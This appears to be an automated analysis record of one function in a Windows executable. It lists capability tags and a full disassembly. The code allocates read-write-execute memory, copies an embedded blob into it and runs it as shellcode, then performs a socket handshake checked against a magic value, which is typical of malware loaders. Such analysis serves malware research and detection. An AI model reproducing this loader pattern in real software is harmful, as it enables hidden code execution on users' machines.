Function at 0x14003bc10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3b0]
sub rsp, 0x4b0
mov rax, qword [0x14004e010]
xor rax, rsp
mov qword [rbp + 0x3a0], rax
mov ebx, r9d
mov r14, r8
mov r15d, edx
mov rsi, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
lea r8, [rbp + 0x3d8]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], r8
mov rdi, qword [r8]
xor rdi, rcx
mov qword [rsp + 0x28], rdi
mov byte [rsp + 0x20], 0
mov dword [rsp + 0x24], 1
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x40], rcx
xor edx, edx
mov qword [r8], rdx
mov ecx, edx
lea r13, [0x14003ee00]
lea r12, [0x140000000]
mov rax, qword [0x14004ea40]
test rax, rax
je 0x14003bced
cmp rax, r13
je 0x14003bcdc
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x4ea40]
test rax, rax
jne 0x14003bcc4
jmp 0x14003bced
mov r9, qword [r12 + rdx*8 + 0x4ed60]
test r9, r9
jne 0x14003bdcf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
je 0x14003bdae
mov rcx, r13
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003bd20
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
mov rax, qword [0x14004f6c0]
mov qword [r12 + rax*8 + 0x4ea40], r13
mov qword [r12 + rax*8 + 0x4ed60], r9
inc rax
mov qword [0x14004f6c0], rax
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x24]
mov rcx, qword [sym.imp.KERNEL32.dll_SleepEx]
call r9
nop
movabs r13, 0xff00ff00ff00ff00
mov rax, r13
xor rax, r13
lea rcx, [rbp + 0x3d8]
mov qword [rcx], rax
xor eax, eax
mov dword [rsp + 0x6c], eax
mov dword [rsp + 0x7c], eax
xor edx, edx
mov r8d, 0x1ec
lea rcx, [rbp - 0x74]
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x60], 0x70fe9ea2
xor r12d, r12d
mov dword [rsp + 0x78], r15d
mov qword [rbp - 0x80], r14
mov dword [rsp + 0x68], ebx
mov rax, qword [rbp + 0x400]
mov qword [rsp + 0x70], rax
mov eax, dword [rbp + 0x408]
mov dword [rbp - 0x78], eax
mov ebx, r12d
lea r14, [rbp + 0x3d8]
mov qword [r14], r12
xor edx, edx
mov r8d, 0x218
lea rcx, [rbp + 0x180]
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov r8d, 0x218
lea rdx, [rsp + 0x60]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x14003bec6
xor r9d, r9d
mov r8d, 0x218
lea rdx, [rbp + 0x180]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, 8
jb 0x14003bec6
cmp dword [rbp + 0x180], 0x70fe9ea2
jne 0x14003bec6
cmp dword [rbp + 0x184], 2
jne 0x14003bec6
mov rbx, qword [rbp + 0x188]
mov al, 1
jmp 0x14003bec8
xor al, al
test al, al
cmove ebx, r12d
xor rdi, r13
mov qword [r14], rdi
mov eax, ebx
mov rcx, qword [rbp + 0x3a0]
xor rcx, rsp
call fcn.14003f4b0
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret